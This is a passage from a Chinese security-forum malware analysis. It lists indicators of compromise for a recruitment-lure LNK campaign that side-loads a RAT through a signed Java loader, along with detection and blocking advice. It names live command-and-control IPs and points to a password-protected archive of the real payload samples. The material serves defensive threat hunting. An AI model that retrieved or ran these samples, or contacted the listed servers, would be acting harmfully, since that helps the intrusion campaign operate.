SHA-256 197ea3f3af2261d07ddb5221b850f1784e3a01a1e0c09fc32e42e21d2339c4a2 加载器(签名被滥用) cache/bin/javaw.exe,Tencent 签名未改动
SHA-256 e8ef3b6420b1102f03f7eecf07341e50e7cb59b8c988cfc5e8cba5dec9a0063d 注入载体 cache/jre/lib/rt.jar(314 类,含 RefAccess)
SHA-256 841aa24169d842147b89ce0a44482bc792fa82d09db3bb377033e71a2ae248c6 stage-1 注入类 java/lang/RefAccess.class
SHA-256 01a0de1622b545306d3c21c2df3055c93009dfda2b57881feb41dbf150ae8424 载荷容器 cache/jre/lib/currency.data(研发岗,C2 114.132.133.148)
SHA-256 6d814dd3bdc46532559bf9aa945229241581a2ebc643ed28c1e2afbdfbf95e85 载荷容器 cache/jre/lib/currency.data(行政主管,C2 81.71.250.32)
SHA-256 68beaa7831ae75f59ca2f1783b13b2032b4536881f9618e7ba03a47dd419ef0f RAT(stage-2) 解密载荷(研发岗)
SHA-256 1ac9e56e1b89493cddb8fe196914c514f6c59d3e42886d06d52b79b5d15ce251 RAT(stage-2) 解密载荷(行政主管)
SHA-256 d8211ace9a440f9b5b374bae51055ad9125a368adf1e38546ea4ca3bca2c17a1 组件 cache/jre/bin/server/jvm.dll(自建 HotSpot 8u492-b1)
SHA-256 d98f167e103a9e3307b841e246b500cd7c067d6a767ef189823bc19999d3b2bb 诱饵 中船724所.pdf
SHA-256 ccceb1bd762a2a11958864e5badfee089ddfe68d4f06edeba5f34efcd8ffdb35 诱饵 南瑞继保.pdf
SHA-256 0b2c000eea6728cde6339ad59f0e358028b00a7959a90364387133fbfa8defb0 诱饵 中电科14所.pdf
SHA-256 97784860edbe6a24756a18fd80c37795814574c4f3580d7a03931369eb003309 诱饵 中国移动.pdf
SHA-256 bb3d8a85d254f34064bbdcfe7aaa26e35c8266223f1ba59a6a690466cc939cc5 诱饵 中电科十四所.pdf
SHA-256 673ab1228f820fb1806faae5294b0ae8af5d1410d3ade1bb980898e938525125 诱饵 途牛旅游.pdf
SHA-256 a91993040af3567d08d84a4892d7dbd5793d92fc126c14c149a4077c8c519a61 诱饵 中电科28所/国电南瑞/国家电网/苏宁易购 复用 PDF(尾部含 smali 残留)

8.2 网络

类型 值 性质 说明
IPv4 114.132.133.148 C2 研发岗套件,UDP 42356
IPv4 81.71.250.32 C2 行政主管套件,UDP 42356
port/udp 42356 C2 端口 出站非阻塞 UDP,立即数 0xA574
协议指纹 RC4 + CRC32(0xEDB88320) + 随机 16–128B 填充 的 UDP 自定义帧 通信特征 可作 NDR/Sigma 侧规则

8.3 主机与文件痕迹

类型 值 性质 说明
路径 cache/bin/javaw.exe、cache/bin/jli.dll、cache/jre/bin/{java.dll,verify.dll,zip.dll,server/jvm.dll}、cache/jre/lib/{rt.jar,currency.data,amd64/jvm.cfg} 套装文件布局 便携 JRE 相对路径布局,可作为目录级 IOC
字符串 18f1a301443291be 客户端标识 两套件一致的 16 hex 配置 ID(疑 RC4 密钥材料或 client id)
字符串 ..\..\..\..\..\..\Windows\explorer.exe LNK 模板特征 ForceNoLinkInfo + 无 WorkingDir + 参数 cache\<公司>.pdf / cache\bin\javaw.exe
LNK 元数据 TargetFileSize=3340184、TargetCreationTime=2026-06-10 05:12:23 UTC、TrackerData MachineID=a1、DroidVolumeID=44b37b59a1588f4986c48d996cd39995、DroidFileID=4e71789a5665f111a187a0294244d51c 生成器指纹 10 份 LNK 完全一致,可聚类同源 LNK
签名/构建 CN=Tencent Technology (Shenzhen) Company Limited(DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 → DigiCert Trusted Root G4);PDB d:\devops_agent\workspace\p-1e139f598d074683bf1cb33c056202d5\src\gitcode\build\windows-x86_64-normal-server-release\jdk\objs\javaw_objs\javaw.pdb 签名与构建指纹 可用于同活动样本关联(签名主体 + PDB 前缀)
注册表 HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid 指纹读取目标 仅读取,非恶意键值,可作行为监控点
抗分析常量 0xB1FC7F66、0x52A48D7E、0xDEADBEEF12345678、0xCAFEBABE87654321、0x5A3C6E91、0xA574、0xEDB88320、0x8004667E 家族指纹 可用于 YARA 与内存扫描

9 检测与处置建议

  • 网络:封禁 114.132.133.148、81.71.250.32;对任意出站 UDP/42356 告警(尤其源自 javaw.exe/java.exe 的短时非阻塞 UDP 会话);按「RC4 体 + CRC32 + 随机填充」帧特征写 NDR 规则。
  • 主机:告警「LNK 目标为相对路径 explorer.exe 且参数指向同目录 cache\ 下可执行文件」的样本;告警便携 JRE 目录(cache/bin/javaw.exe + cache/jre/lib/currency.data)落地;监控 javaw.exe 生命周期极短(秒级)且伴随 Runtime.halt 行为的退出。
  • YARA 建议锚点:0xB1FC7F66/0x52A48D7E 常量对、0xDEADBEEF12345678、0xCAFEBABE87654321、class 内 688 字符 hex blob、rt.jar 中 DOS 时间戳为 0 的条目、currency.data 且前 12 字节为随机 nonce 的 21564B 文件。
  • 取证:cache/ 整目录留存;曾双击 LNK 的主机做内存/网络取证(JVM 已自终止,需依赖 UDP 会话与 EDR 进程树 explorer.exe → javaw.exe)。
  • 排查面:以「招聘 JD + 单位名」为名的 LNK/压缩包在邮件网关侧拦截;对本活动相关的 Tencent 签名 javaw.exe + 上述 PDB 前缀做样本关联检索。

参考

JVM核心类加载器及类加载的全过程
kcp

发帖前要善用【论坛搜索】功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
 楼主| INT3o 发表于 2026-10-1 18:40 |楼主
相关载荷与LNK详情如附件,密码52pojie files.zip (60.33 KB, 下载次数: 0)
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - 52pojie.cn ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2026-10-5 18:57

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表